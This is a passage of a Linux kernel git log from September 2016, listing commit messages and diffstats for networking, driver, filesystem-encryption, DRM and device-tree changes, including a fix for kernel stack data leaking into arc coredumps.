drivers/target/iscsi/cxgbit/cxgbit_cm.c | 13 +++---------- 3 files changed, 23 insertions(+), 19 deletions(-) commit a1a234542b7817c28770ad4e80be1bf69e6a4f86 Author: Varun Prakash Date: Tue Sep 13 21:24:02 2016 +0530 libcxgb,iw_cxgb4,cxgbit: add cxgb_mk_tid_release() Add cxgb_mk_tid_release() to remove duplicate code to form CPL_TID_RELEASE hardware command. Signed-off-by: Varun Prakash Signed-off-by: David S. Miller drivers/infiniband/hw/cxgb4/cm.c | 10 ++++------ drivers/net/ethernet/chelsio/libcxgb/libcxgb_cm.h | 13 +++++++++++++ drivers/target/iscsi/cxgbit/cxgbit_cm.c | 11 ++--------- 3 files changed, 19 insertions(+), 15 deletions(-) commit cc516700c7edab4197d08998ac023c3043369391 Author: Varun Prakash Date: Tue Sep 13 21:24:01 2016 +0530 libcxgb,iw_cxgb4,cxgbit: add cxgb_compute_wscale() Add cxgb_compute_wscale() in libcxgb_cm.h to remove it's duplicate definitions from cxgb4/cm.c and cxgbit/cxgbit_cm.c. Signed-off-by: Varun Prakash Signed-off-by: David S. Miller drivers/infiniband/hw/cxgb4/cm.c | 12 ++++++------ drivers/infiniband/hw/cxgb4/iw_cxgb4.h | 9 --------- drivers/net/ethernet/chelsio/libcxgb/libcxgb_cm.h | 9 +++++++++ drivers/target/iscsi/cxgbit/cxgbit_cm.c | 11 +---------- 4 files changed, 16 insertions(+), 25 deletions(-) commit 44c6d06992ac663e5163bdbe00844cb845ed5703 Author: Varun Prakash Date: Tue Sep 13 21:24:00 2016 +0530 libcxgb,iw_cxgb4,cxgbit: add cxgb_best_mtu() Add cxgb_best_mtu() in libcxgb_cm.h to remove it's duplicate definitions from cxgb4/cm.c and cxgbit/cxgbit_cm.c Signed-off-by: Varun Prakash Signed-off-by: David S. Miller drivers/infiniband/hw/cxgb4/cm.c | 32 +++++++---------------- drivers/net/ethernet/chelsio/libcxgb/libcxgb_cm.h | 18 +++++++++++++ drivers/target/iscsi/cxgbit/cxgbit_cm.c | 20 +++----------- 3 files changed, 30 insertions(+), 40 deletions(-) commit b65eef0a5b1a635f9b056cf74d3ef778f3794a75 Author: Varun Prakash Date: Tue Sep 13 21:23:59 2016 +0530 libcxgb,iw_cxgb4,cxgbit: add cxgb_is_neg_adv() Add cxgb_is_neg_adv() in libcxgb_cm.h to remove it's duplicate definitions from cxgb4/cm.c and cxgbit/cxgbit_cm.c. Signed-off-by: Varun Prakash Signed-off-by: David S. Miller drivers/infiniband/hw/cxgb4/cm.c | 15 +++------------ drivers/net/ethernet/chelsio/libcxgb/libcxgb_cm.h | 9 +++++++++ drivers/target/iscsi/cxgbit/cxgbit_cm.c | 11 +---------- 3 files changed, 13 insertions(+), 22 deletions(-) commit 95554761d1db54f7c058cc0ed389282ce7361999 Author: Varun Prakash Date: Tue Sep 13 21:23:58 2016 +0530 libcxgb,iw_cxgb4,cxgbit: add cxgb_find_route6() Add cxgb_find_route6() in libcxgb_cm.c to remove it's duplicate definitions from cxgb4/cm.c and cxgbit/cxgbit_cm.c. Signed-off-by: Varun Prakash Signed-off-by: David S. Miller drivers/infiniband/hw/cxgb4/cm.c | 70 ++++++----------------- drivers/net/ethernet/chelsio/libcxgb/libcxgb_cm.c | 33 +++++++++++ drivers/net/ethernet/chelsio/libcxgb/libcxgb_cm.h | 4 ++ drivers/target/iscsi/cxgbit/cxgbit_cm.c | 51 ++--------------- 4 files changed, 61 insertions(+), 97 deletions(-) commit 804c2f3e36ef60e6f50e6101ae06b02fbaa14b9a Author: Varun Prakash Date: Tue Sep 13 21:23:57 2016 +0530 libcxgb,iw_cxgb4,cxgbit: add cxgb_find_route() Add cxgb_find_route() in libcxgb_cm.c to remove it's duplicate definitions from cxgb4/cm.c and cxgbit/cxgbit_cm.c. Signed-off-by: Varun Prakash Signed-off-by: David S. Miller drivers/infiniband/hw/cxgb4/cm.c | 53 +++++++---------------- drivers/net/ethernet/chelsio/libcxgb/libcxgb_cm.c | 44 +++++++++++++++++++ drivers/net/ethernet/chelsio/libcxgb/libcxgb_cm.h | 4 ++ drivers/target/iscsi/cxgbit/cxgbit_cm.c | 36 +++------------ 4 files changed, 69 insertions(+), 68 deletions(-) commit 85e42b044e8dda0acb60c645d089f4a19e0136d3 Author: Varun Prakash Date: Tue Sep 13 21:23:56 2016 +0530 libcxgb,iw_cxgb4,cxgbit: add cxgb_get_4tuple() Add cxgb_get_4tuple() in libcxgb_cm.c to remove it's duplicate definitions from cxgb4/cm.c and cxgbit/cxgbit_cm.c. Signed-off-by: Varun Prakash Signed-off-by: David S. Miller drivers/infiniband/hw/cxgb4/Kconfig | 1 + drivers/infiniband/hw/cxgb4/Makefile | 1 + drivers/infiniband/hw/cxgb4/cm.c | 41 +------------ drivers/net/ethernet/chelsio/libcxgb/Makefile | 4 +- drivers/net/ethernet/chelsio/libcxgb/libcxgb_cm.c | 72 +++++++++++++++++++++++ drivers/net/ethernet/chelsio/libcxgb/libcxgb_cm.h | 42 +++++++++++++ drivers/target/iscsi/cxgbit/cxgbit_cm.c | 41 +------------ 7 files changed, 125 insertions(+), 77 deletions(-) commit 2679d040412df847d390a3a8f0f224a7c91f7fae Author: Lance Richardson Date: Tue Sep 13 10:08:54 2016 -0400 openvswitch: avoid deferred execution of recirc actions The ovs kernel data path currently defers the execution of all recirc actions until stack utilization is at a minimum. This is too limiting for some packet forwarding scenarios due to the small size of the deferred action FIFO (10 entries). For example, broadcast traffic sent out more than 10 ports with recirculation results in packet drops when the deferred action FIFO becomes full, as reported here: http://openvswitch.org/pipermail/dev/2016-March/067672.html Since the current recursion depth is available (it is already tracked by the exec_actions_level pcpu variable), we can use it to determine whether to execute recirculation actions immediately (safe when recursion depth is low) or defer execution until more stack space is available. With this change, the deferred action fifo size becomes a non-issue for currently failing scenarios because it is no longer used when there are three or fewer recursions through ovs_execute_actions(). Suggested-by: Pravin Shelar Signed-off-by: Lance Richardson Acked-by: Pravin B Shelar Signed-off-by: David S. Miller net/openvswitch/actions.c | 30 ++++++++++++++++++++++++++++-- 1 file changed, 28 insertions(+), 2 deletions(-) commit faef091c5a930a75586ebcb089ee9ad7c1eedaf3 Merge: 0ca4e20 37a6c15 Author: David S. Miller Date: Thu Sep 15 20:27:30 2016 -0400 Merge branch 'cls_flower-port-masks' Or Gerlitz says: ==================== net/sched: cls_flower: Add ports masks This series adds the ability to specify tcp/udp ports masks for TC/flower filter matches. I also removed an unused fields from the flower keys struct and clarified the format of the recently added vlan attibutes. v1--> v2 changes: * fixes typo in patch #2 title and change log (Sergei) * added acks provided by Jiri on v1 FWIW, by mistake the cover letter of V1 (but not the patches) carried V2 tag, hope this doesn't create too much confusion. ==================== Signed-off-by: David S. Miller commit 37a6c1512314d2439ef7136d773d5a470e0996b9 Author: Or Gerlitz Date: Thu Sep 15 15:28:24 2016 +0300 net/sched: cls_flower: Specify vlan attributes format in the UAPI header Specify the format (size and endianess) for the vlan attributes. Signed-off-by: Or Gerlitz Acked-by: Jiri Pirko Signed-off-by: David S. Miller include/uapi/linux/pkt_cls.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit a53d850a79c39b97a2d954d0db5c481c44e8dc7c Author: Or Gerlitz Date: Thu Sep 15 15:28:23 2016 +0300 net/sched: cls_flower: Remove an unused field from the filter key structure Commit c3f8324188fa "net: Add full IPv6 addresses to flow_keys" added an unused instance of struct flow_dissector_key_addrs into struct fl_flow_key, remove it. Signed-off-by: Or Gerlitz Reported-by: Hadar Hen Zion Acked-by: Jiri Pirko Signed-off-by: David S. Miller net/sched/cls_flower.c | 1 - 1 file changed, 1 deletion(-) commit aa72d708373dacfa690960b336543b867784b350 Author: Or Gerlitz Date: Thu Sep 15 15:28:22 2016 +0300 net/sched: cls_flower: Support masking for matching on tcp/udp ports Add the definitions for src/dst udp/tcp port masks and use them when setting && dumping the relevant keys. Signed-off-by: Or Gerlitz Signed-off-by: Paul Blakey Acked-by: Jiri Pirko Signed-off-by: David S. Miller include/uapi/linux/pkt_cls.h | 4 ++++ net/sched/cls_flower.c | 20 ++++++++++++-------- 2 files changed, 16 insertions(+), 8 deletions(-) commit 0ca4e20ba3de1a1077ee36df22176c2055497923 Author: Tobias Regnery Date: Tue Sep 13 12:06:57 2016 +0200 alx: fix error handling in __alx_open In commit 9ee7b683ea63 we moved the enablement of msi interrupts earlier in alx_init_intr. If there is an error in alx_alloc_rings, __alx_open returns with an error but msi (or msi-x) interrupts stays enabled. Add a new error label to disable msi (or msi-x) interrupts. Fixes: 9ee7b683ea63 ("alx: refactor msi enablement and disablement") Signed-off-by: Tobias Regnery Signed-off-by: David S. Miller drivers/net/ethernet/atheros/alx/main.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit b065444286bed7ec49ee81c593a46f3031fbfc83 Author: Al Viro Date: Sat Sep 10 18:53:30 2016 -0400 blackfin: no access_ok() for __copy_{to,from}_user() callers have checked that already Signed-off-by: Al Viro arch/blackfin/include/asm/uaccess.h | 32 ++++++++++++++++++++------------ 1 file changed, 20 insertions(+), 12 deletions(-) commit 4855bd255f9fb429d296dc3c620f1b563d20353e Author: Al Viro Date: Sat Sep 10 16:50:00 2016 -0400 arm64: don't zero in __copy_from_user{,_inatomic} Signed-off-by: Al Viro arch/arm64/include/asm/uaccess.h | 10 ++++++---- arch/arm64/lib/copy_from_user.S | 7 +------ 2 files changed, 7 insertions(+), 10 deletions(-) commit 91344493b7da9487a8dbc1109d7486e51c8e5235 Author: Al Viro Date: Sat Sep 10 16:44:03 2016 -0400 arm: don't zero in __copy_from_user_inatomic()/__copy_from_user() adjust copy_from_user(), obviously Signed-off-by: Al Viro arch/arm/include/asm/uaccess.h | 11 ++++++----- arch/arm/lib/copy_from_user.S | 9 +++------ 2 files changed, 9 insertions(+), 11 deletions(-) commit 7798bf2140ebcc36eafec6a4194fffd8d585d471 Author: Al Viro Date: Sat Sep 10 16:31:04 2016 -0400 arc: don't leak bits of kernel stack into coredump On faulting sigreturn we do get SIGSEGV, all right, but anything we'd put into pt_regs could end up in the coredump. And since __copy_from_user() never zeroed on arc, we'd better bugger off on its failure without copying random uninitialized bits of kernel stack into pt_regs... Cc: stable@vger.kernel.org Signed-off-by: Al Viro arch/arc/kernel/signal.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 085354f907969fb3ee33f236368f6e1dd4c74d62 Author: Al Viro Date: Sat Sep 10 16:21:34 2016 -0400 alpha: get rid of tail-zeroing in __copy_user() ... and adjust copy_from_user() accordingly Signed-off-by: Al Viro arch/alpha/include/asm/uaccess.h | 9 +++++---- arch/alpha/lib/copy_user.S | 16 +--------------- arch/alpha/lib/ev6-copy_user.S | 23 +---------------------- 3 files changed, 7 insertions(+), 41 deletions(-) commit 5400e54add3618759ef607a97d711e356eef6e2a Author: Hariprasad Shenai Date: Tue Sep 13 13:39:24 2016 +0530 cxgb4vf: don't offload Rx checksums for IPv6 fragments The checksum provided by the device doesn't include the L3 headers, as IPv6 expects Signed-off-by: Hariprasad Shenai Signed-off-by: David S. Miller drivers/net/ethernet/chelsio/cxgb4vf/sge.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) commit 86da71b57383d40993cb90baafb3735cffe5d800 Author: Jamal Hadi Salim Date: Mon Sep 12 20:13:09 2016 -0400 net_sched: Introduce skbmod action This action is intended to be an upgrade from a usability perspective from pedit (as well as operational debugability). Compare this: sudo tc filter add dev $ETH parent 1: protocol ip prio 10 \ u32 match ip protocol 1 0xff flowid 1:2 \ action pedit munge offset -14 u8 set 0x02 \ munge offset -13 u8 set 0x15 \ munge offset -12 u8 set 0x15 \ munge offset -11 u8 set 0x15 \ munge offset -10 u16 set 0x1515 \ pipe to: sudo tc filter add dev $ETH parent 1: protocol ip prio 10 \ u32 match ip protocol 1 0xff flowid 1:2 \ action skbmod dmac 02:15:15:15:15:15 Also try to do a MAC address swap with pedit or worse try to debug a policy with destination mac, source mac and etherype. Then make few rules out of those and you'll get my point. In the future common use cases on pedit can be migrated to this action (as an example different fields in ip v4/6, transports like tcp/udp/sctp etc). For this first cut, this allows modifying basic ethernet header. The most important ethernet use case at the moment is when redirecting or mirroring packets to a remote machine. The dst mac address needs a re-write so that it doesnt get dropped or confuse an interconnecting (learning) switch or dropped by a target machine (which looks at the dst mac). And at times when flipping back the packet a swap of the MAC addresses is needed. Signed-off-by: Jamal Hadi Salim Signed-off-by: David S. Miller include/net/tc_act/tc_skbmod.h | 30 ++++ include/uapi/linux/tc_act/tc_skbmod.h | 39 +++++ net/sched/Kconfig | 11 ++ net/sched/Makefile | 1 + net/sched/act_skbmod.c | 301 ++++++++++++++++++++++++++++++++++ 5 files changed, 382 insertions(+) commit c865250164a6817d0a0b18a0050f0c42cf725925 Merge: 07c0f09 f53d8c7 Author: David S. Miller Date: Thu Sep 15 19:29:53 2016 -0400 Merge branch 'bpf-next' Daniel Borkmann says: ==================== Misc cls_bpf/act_bpf improvements Two minor improvements to {cls,act}_bpf. For details please see individual patches. ==================== Signed-off-by: David S. Miller commit f53d8c7b18faf1bd361abe91f3c4bcbb21d0c985 Author: Daniel Borkmann Date: Mon Sep 12 23:38:43 2016 +0200 bpf: use skb_at_tc_ingress helper in tcf_bpf We have a small skb_at_tc_ingress() helper for testing for ingress, so make use of it. cls_bpf already uses it and so should act_bpf. Signed-off-by: Daniel Borkmann Acked-by: Alexei Starovoitov Signed-off-by: David S. Miller net/sched/act_bpf.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 04b3f8de4b6d90758938a40303c0ee9a86bcb8ab Author: Daniel Borkmann Date: Mon Sep 12 23:38:42 2016 +0200 bpf: drop unnecessary test in cls_bpf_classify and tcf_bpf The skb_mac_header_was_set() test in cls_bpf's and act_bpf's fast-path is actually unnecessary and can be removed altogether. This was added by commit a166151cbe33 ("bpf: fix bpf helpers to use skb->mac_header relative offsets"), which was later on improved by 3431205e0397 ("bpf: make programs see skb->data == L2 for ingress and egress"). We're always guaranteed to have valid mac header at the time we invoke cls_bpf_classify() or tcf_bpf(). Reason is that since 6d1ccff62780 ("net: reset mac header in dev_start_xmit()") we do skb_reset_mac_header() in __dev_queue_xmit() before we could call into sch_handle_egress() or any subsequent enqueue. sch_handle_ingress() always sees a valid mac header as well (things like skb_reset_mac_len() would badly fail otherwise). Thus, drop the unnecessary test in classifier and action case. Signed-off-by: Daniel Borkmann Acked-by: Alexei Starovoitov Signed-off-by: David S. Miller net/sched/act_bpf.c | 3 --- net/sched/cls_bpf.c | 3 --- 2 files changed, 6 deletions(-) commit 07c0f09e23b47815251ed9e5ce245a58c6391974 Author: Hadar Hen Zion Date: Mon Sep 12 15:19:21 2016 +0300 net/sched: act_tunnel_key: Remove rcu_read_lock protection Remove rcu_read_lock protection from tunnel_key_dump and use rtnl_dereference, dump operation is protected by rtnl lock. Also, remove rcu_read_lock from tunnel_key_release and use rcu_dereference_protected. Both operations are running exclusively and a writer couldn't modify t->params while those functions are executed. Fixes: 54d94fd89d90 ('net/sched: Introduce act_tunnel_key') Signed-off-by: Hadar Hen Zion Acked-by: John Fastabend Acked-by: Eric Dumazet Signed-off-by: David S. Miller net/sched/act_tunnel_key.c | 17 ++++------------- 1 file changed, 4 insertions(+), 13 deletions(-) commit 5c0ca3f566d7a19e9bf9671dfc2108fad1b7b9b2 Author: Jakub Kicinski Date: Mon Sep 12 13:04:57 2016 +0100 test_bpf: fix the dummy skb after dissector changes Commit d5709f7ab776 ("flow_dissector: For stripped vlan, get vlan info from skb->vlan_tci") made flow dissector look at vlan_proto when vlan is present. Since test_bpf sets skb->vlan_tci to ~0 (including VLAN_TAG_PRESENT) we have to populate skb->vlan_proto. Fixes false negative on test #24: test_bpf: #24 LD_PAYLOAD_OFF jited:0 175 ret 0 != 42 FAIL (1 times) Signed-off-by: Jakub Kicinski Reviewed-by: Dinan Gunawardena Acked-by: Daniel Borkmann Acked-by: Alexei Starovoitov Signed-off-by: David S. Miller lib/test_bpf.c | 1 + 1 file changed, 1 insertion(+) commit d560846e40fefd7b6e5c29d115f1d8f73db7f5e6 Author: Colin Ian King Date: Mon Sep 12 13:01:50 2016 +0100 atm: iphase: fix newline escape and minor tweak to source formatting The newline escape is incorrect and needs fixing. Also adjust source formatting / indentation and add { } to trailing else. Signed-off-by: Colin Ian King Signed-off-by: David S. Miller drivers/atm/iphase.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit e1e4a1a4fad203f8a02b887149809966e128a3d8 Merge: 39f0d98 c763eb8 Author: Kevin Hilman Date: Thu Sep 15 15:35:50 2016 -0700 Merge branch 'v4.8/dt64' into v4.8/dt64-2 commit 39f0d9803f393f3d78fc815736d024a8adc149a8 Merge: 29b4817 dfdd7d4 Author: Kevin Hilman Date: Thu Sep 15 15:35:35 2016 -0700 Merge tag 'amlogic-drivers-2' into v4.8/dt64-2 Amlogic driver updates for v4.9, 2nd round - media: update IR support for newer SoCs - firmware: add secure monitor driver - net: new stmmac glue driver - usb: udd DWC2 support for meson-gxbb - clocks: expose more clock IDs for use by DT - DT binding updates commit 7c5f6b320b59cb4a674750bbb29a248b5bae7641 Author: Eric Biggers Date: Thu Sep 15 18:29:06 2016 -0400 blockgroup_lock.h: simplify definition of NR_BG_LOCKS We can use ilog2() to more easily produce the desired NR_BG_LOCKS. This works because ilog2() is evaluated at compile-time when its argument is a compile-time constant. I did not change the chosen NR_BG_LOCKS values. Signed-off-by: Eric Biggers Signed-off-by: Theodore Ts'o Reviewed-by: Andreas Dilger include/linux/blockgroup_lock.h | 22 ++-------------------- 1 file changed, 2 insertions(+), 20 deletions(-) commit 9e5ab85deb2c80f9707be39cd0a2c5f90c89dd97 Author: Eric Biggers Date: Thu Sep 15 18:25:07 2016 -0400 blockgroup_lock.h: remove debris from bgl_lock_ptr() conversion An obsolete comment and extra parentheses were left over from when the sb_bgl_lock() macro was replaced with the bgl_lock_ptr() function. Signed-off-by: Eric Biggers Signed-off-by: Theodore Ts'o Reviewed-by: Andreas Dilger include/linux/blockgroup_lock.h | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) commit c763eb82a01dd4536a4d4b6bb6be115d4ee32842 Author: Martin Blumenstingl Date: Sun Sep 11 15:41:11 2016 +0200 ARM64: dts: meson-gxbb-vega-s95: Enable USB Nodes Enable both gxbb USB controller and add a 5V regulator for the OTG port VBUS Signed-off-by: Martin Blumenstingl Signed-off-by: Jerome Brunet Signed-off-by: Kevin Hilman .../boot/dts/amlogic/meson-gxbb-vega-s95.dtsi | 30 ++++++++++++++++++++++ 1 file changed, 30 insertions(+) commit 8735053d79686dd87217e300b006175cda1b5c59 Author: Jerome Brunet Date: Sun Sep 11 15:41:10 2016 +0200 ARM64: dts: meson-gxbb-p20x: Enable USB Nodes Enable both gxbb USB controller and add a 5V regulator for the OTG port VBUS Signed-off-by: Jerome Brunet [khilman: rename vbus node to match P200 schematics] Signed-off-by: Kevin Hilman arch/arm64/boot/dts/amlogic/meson-gxbb-p20x.dtsi | 30 ++++++++++++++++++++++++ 1 file changed, 30 insertions(+) commit 4cd0945901a6dd0190824a98471449df9129d21c Author: Rob Clark Date: Thu Jun 16 16:43:49 2016 -0400 drm/msm: submit support for out-fences Signed-off-by: Rob Clark drivers/gpu/drm/msm/msm_gem_submit.c | 25 +++++++++++++++++++++++++ include/uapi/drm/msm_drm.h | 4 +++- 2 files changed, 28 insertions(+), 1 deletion(-) commit f44d32c79fd591179820d6ce4645c4c2799e6d40 Author: Rob Clark Date: Thu Jun 16 16:37:38 2016 -0400 drm/msm: move fence allocation out of msm_gpu_submit() Prep work for next patch. Signed-off-by: Rob Clark drivers/gpu/drm/msm/msm_gem_submit.c | 9 ++++++++- drivers/gpu/drm/msm/msm_gpu.c | 13 ++----------- drivers/gpu/drm/msm/msm_gpu.h | 2 +- 3 files changed, 11 insertions(+), 13 deletions(-) commit f0a42bb5423a1387e54a2d3451a10d4358b8cfb6 Author: Rob Clark Date: Thu Jun 16 16:08:19 2016 -0400 drm/msm: submit support for in-fences Signed-off-by: Rob Clark drivers/gpu/drm/msm/Kconfig | 1 + drivers/gpu/drm/msm/msm_gem_submit.c | 34 +++++++++++++++++++++++++++++++--- include/uapi/drm/msm_drm.h | 9 +++++++-- 3 files changed, 39 insertions(+), 5 deletions(-) commit ef1eb3aa50930f026135085cd160b1212cdfe817 Author: Eric Biggers Date: Thu Sep 15 17:25:55 2016 -0400 fscrypto: make filename crypto functions return 0 on success Several filename crypto functions: fname_decrypt(), fscrypt_fname_disk_to_usr(), and fscrypt_fname_usr_to_disk(), returned the output length on success or -errno on failure. However, the output length was redundant with the value written to 'oname->len'. It is also potentially error-prone to make callers have to check for '< 0' instead of '!= 0'. Therefore, make these functions return 0 instead of a length, and make the callers who cared about the return value being a length use 'oname->len' instead. For consistency also make other callers check for a nonzero result rather than a negative result. This change also fixes the inconsistency of fname_encrypt() actually already returning 0 on success, not a length like the other filename crypto functions and as documented in its function comment. Signed-off-by: Eric Biggers Signed-off-by: Theodore Ts'o Reviewed-by: Andreas Dilger Acked-by: Jaegeuk Kim fs/crypto/fname.c | 56 +++++++++++++++++++++++++++++++------------------------ fs/ext4/dir.c | 5 +++-- fs/ext4/namei.c | 8 ++++---- fs/ext4/symlink.c | 5 ++--- fs/f2fs/dir.c | 6 +++--- fs/f2fs/namei.c | 6 +++--- 6 files changed, 47 insertions(+), 39 deletions(-) commit d9c181e22a0599fa7e27c3717f56bc1b3b020e63 Author: Rob Clark Date: Sat Apr 23 10:08:59 2016 -0400 drm/msm: extend the submit ioctl to pass in flags We'll want to be able to pass in flags, such as asking for explicit fencing, and possibly other things down the road. Fortunately we don't need a full 32b for the pipe-id. So use the upper 16 bits for flags (which could be extended or reduced later if needed, so start adding flags from the high bits). Since anything with the upper bits set would not be a valid pipe-id, an old userspace would not set any of the upper bits, and an old kernel would reject it as an invalid pipe-id. Signed-off-by: Rob Clark drivers/gpu/drm/msm/msm_gem_submit.c | 5 ++++- include/uapi/drm/msm_drm.h | 15 ++++++++++++++- 2 files changed, 18 insertions(+), 2 deletions(-) commit 1d42a3fee6e83ae6e7c83808ccdf8620fc30447e Author: Ville Syrjälä Date: Fri Jul 22 16:43:09 2016 +0300 drm/msm/mdp5: Set rotation property initial value to DRM_ROTATE_0 insted of 0 0 isn't a valid rotation property value, so let's set the initial value of the property to DRM_ROTATE_0 instead. In the same vein, we must always have at leat one angle as part of set of supported rotation bits, so let's include DRM_ROTATE_0 in there. Cc: Rob Clark Cc: Jilai Wang Signed-off-by: Ville Syrjälä Signed-off-by: Rob Clark drivers/gpu/drm/msm/mdp/mdp5/mdp5_plane.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 0e54543c49e5a11db602f29a3b0d5d38ef234f7a Author: Wolfram Sang Date: Tue Aug 9 13:30:29 2016 +0200 drm/msm/hdmi: don't print error when adding i2c adapter fails The core will do this for us now. Signed-off-by: Wolfram Sang Signed-off-by: Rob Clark drivers/gpu/drm/msm/hdmi/hdmi_i2c.c | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) commit 14edbde1a6cd46258126c82fcbf88a533a810611 Author: Baoyou Xie Date: Wed Sep 7 18:58:44 2016 +0800 drm/msm/mdp4: mark symbols static where possible We get 2 warnings when building kernel with W=1: drivers/gpu/drm/msm/mdp/mdp4/mdp4_lcdc_encoder.c:96:23: warning: no previous prototype for 'get_connector' [-Wmissing-prototypes] drivers/gpu/drm/msm/mdp/mdp4/mdp4_plane.c:84:5: warning: no previous prototype for 'mdp4_plane_set_property' [-Wmissing-prototypes] In fact, these functions are only used in the file in which they are declared and don't need a declaration, but can be made static. So this patch marks these functions with 'static'. Signed-off-by: Baoyou Xie Reviewed-by: Archit Taneja Signed-off-by: Rob Clark drivers/gpu/drm/msm/mdp/mdp4/mdp4_lcdc_encoder.c | 2 +- drivers/gpu/drm/msm/mdp/mdp4/mdp4_plane.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit f755e227dc0ad9f2b58937db489b9a6f6c7b76d9 Author: Chris Wilson Date: Mon Aug 29 08:08:26 2016 +0100 drm/msm: Remove call to reservation_object_test_signaled_rcu before wait Since fence_wait_timeout_reservation_object_wait_timeout_rcu() with a timeout of 0 becomes reservation_object_test_signaled_rcu(), we do not need to handle such conversion in the caller. The only challenge are those callers that wish to differentiate the error code between the nonblocking busy check and potentially blocking wait. v2: 9 is only 0 in German. Signed-off-by: Chris Wilson Cc: Rob Clark Signed-off-by: Rob Clark drivers/gpu/drm/msm/msm_gem.c | 22 ++++++++++------------ 1 file changed, 10 insertions(+), 12 deletions(-) commit 0574cb14398c312f4eaea8d518c63ce62f20ecbc Author: Nishanth Menon Date: Thu Sep 15 14:10:59 2016 -0500 ARM: dts: am57xx-beagle-x15-common: Fix wrong pinctrl selection for mmc2 Commit d20f997b4d1f ("ARM: dts: am57xx-beagle-x15: Remove pinmux configurations for erratum i869") fat fingered a change in which basically replaced mmc2_pinctrl_default with mmc1_pinctrl_default. And kernel dutifully reports conflict of usage. [...] pinctrl-single 4a003400.pinmux: pin 4a00376c.0 already requested by 4809c000.mmc; cannot claim for 480b4000.mmc pinctrl-single 4a003400.pinmux: pin-219 (480b4000.mmc) status -22 pinctrl-single 4a003400.pinmux: could not request pin 219 (4a00376c.0) from group mmc1_pins_default on device pinctrl-single omap_hsmmc 480b4000.mmc: Error applying setting, reverse things back omap_hsmmc 480b4000.mmc: could not initialize pin control state [...] But, thanks to the fact that we were in fact setting all the muxes in U-Boot, all the MMC devices were still properly detected. Fix the typo. Fixes: d20f997b4d1f ("ARM: dts: am57xx-beagle-x15: Remove pinmux configurations for erratum i869") Reported-by: Tony Lindgren Signed-off-by: Nishanth Menon [tony@atomide.com: removed timestamps and wrapped description] Signed-off-by: Tony Lindgren arch/arm/boot/dts/am57xx-beagle-x15-common.dtsi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 53fd7550ec40571e26f730a0d3fc0a5dd93ecda2 Author: Eric Biggers Date: Thu Sep 15 16:51:01 2016 -0400 fscrypto: rename completion callbacks to reflect usage fscrypt_complete() was used only for data pages, not for all encryption/decryption. Rename it to page_crypt_complete(). dir_crypt_complete() was used for filename encryption/decryption for both directory entries and symbolic links. Rename it to fname_crypt_complete(). Signed-off-by: Eric Biggers Signed-off-by: Theodore Ts'o fs/crypto/crypto.c | 10 +++++----- fs/crypto/fname.c | 10 ++++++---- 2 files changed, 11 insertions(+), 9 deletions(-) commit 5905f9afa27234f74423f7276d0833fed6a9a415 Author: Jaegeuk Kim Date: Mon Sep 12 15:08:37 2016 -0700 f2fs: handle error in recover_orphan_inode This patch enhances the error path in recover_orphan_inode. Signed-off-by: Jaegeuk Kim fs/f2fs/checkpoint.c | 19 ++++++++++++++++++- 1 file changed, 18 insertions(+), 1 deletion(-) commit d83ae730b6f9464e46eaf052ff84d9486c5b4107 Author: Eric Biggers Date: Thu Sep 15 16:41:09 2016 -0400 fscrypto: remove unnecessary includes This patch removes some #includes that are clearly not needed, such as a reference to ecryptfs, which is unrelated to the new filesystem encryption code. Signed-off-by: Eric Biggers Signed-off-by: Theodore Ts'o fs/crypto/crypto.c | 1 - fs/crypto/fname.c | 2 -- fs/crypto/keyinfo.c | 3 --- 3 files changed, 6 deletions(-) commit fd8961c5ba9e6c841cdf4cc00903316e5bd35180 Author: Yang Li Date: Mon Sep 12 17:22:30 2016 -0500 i2c: imx: make bus recovery through pinctrl optional Since commit 1c4b6c3bcf30 ("i2c: imx: implement bus recovery") the driver starts to use gpio/pinctrl to support optional bus recovery feature. But pinctrl is not always usable. There are platforms such as ls1021a and ls1043a that don't support pinctrl, and it could just be broken due to old/broken device tree. The patch makes it really optional that the probe function won't bailout on pinctrl problems instead it just disables bus recovery and prints out notification when there is problem with pinctrl. Since pinctrl is only used by bus recovery in this driver, move pinctrl initialization into bus recovery init function to prevent confusion. Signed-off-by: Li Yang Acked-by: Linus Walleij Acked-by: Uwe Kleine-König Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-imx.c | 31 ++++++++++++++++++++++--------- 1 file changed, 22 insertions(+), 9 deletions(-) commit d1050caea4f0a7abd72e5feb01ee175828a69fd4 Author: Neil Armstrong Date: Wed Sep 14 11:49:16 2016 +0200 i2c: meson: add gxbb compatible string Signed-off-by: Neil Armstrong Signed-off-by: Jerome Brunet Acked-by: Kevin Hilman Signed-off-by: Wolfram Sang Documentation/devicetree/bindings/i2c/i2c-meson.txt | 2 +- drivers/i2c/busses/i2c-meson.c | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) commit 0a30d69195604f136a4e3bfaf453f742e583ce95 Merge: 16217dc ee8d41e Author: Thomas Gleixner Date: Thu Sep 15 20:54:40 2016 +0200 Merge branch 'irq/for-block' into irq/core Add the new irq spreading infrastructure. commit 832c927d119b5be3a01376b8e3033286eb5797e1 Author: Tai Nguyen Date: Fri Jul 15 10:38:04 2016 -0700 perf: xgene: Add APM X-Gene SoC Performance Monitoring Unit driver This patch adds a driver for the SoC-wide (AKA uncore) PMU hardware found in APM X-Gene SoCs. Signed-off-by: Tai Nguyen Reviewed-by: Mark Rutland Documentation/perf/xgene-pmu.txt | 48 ++ drivers/perf/Kconfig | 7 + drivers/perf/Makefile | 1 + drivers/perf/xgene_pmu.c | 1398 ++++++++++++++++++++++++++++++++++++++ 4 files changed, 1454 insertions(+) commit eef691c816422603cf5d1306061aae3064056259 Author: Tai Nguyen Date: Fri Jul 15 10:38:03 2016 -0700 Documentation: Add documentation for APM X-Gene SoC PMU DTS binding Driver providing perf backend for the SoC-wide PMU hardware found in APM X-Gene SoCs. Signed-off-by: Tai Nguyen Acked-by: Rob Herring 